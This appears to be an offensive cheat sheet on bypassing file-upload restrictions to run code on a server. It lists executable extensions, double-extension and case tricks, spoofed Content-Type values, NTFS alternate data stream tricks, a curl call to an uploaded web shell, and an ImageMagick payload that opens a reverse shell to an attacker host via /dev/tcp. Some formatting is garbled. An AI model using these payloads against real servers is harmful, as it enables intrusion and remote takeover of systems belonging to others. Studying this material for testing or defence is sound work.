Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
powershell
.php
.php3
.php4
.php5
.php7
powershell
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
powershell
.jpeg.php
.jpg.php
.png.php
.*.php
.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
.pl, .pm, .cgi, .lib
.jsp, .jspx, .jsw, .jsv, .jspf
.cfm, .cfml, .cfc, .dbm
Use double extensions : .jpg.php
Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg
Mix uppercase and lowercase : .pHp, .pHP5, .PhAr
Null byte (works well against pathinfo()
)
Special characters
Mime type, change Content-Type : application/x-php
or Content-Type : application/octet-stream
to Content-Type : image/gif
Content-Type : image/gif
Content-Type : image/png
Content-Type : image/jpeg
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::\(data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::\)data.”)
Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'"
.
getimagesize()
and imagecreatefromgif()
.If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
Configuration files examples
- .htaccess
- web.config
- httpd.conf
- __init__.py
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
More payload in the folder Picture Image Magik
When a ZIP/archive file is automatically decompressed after the upload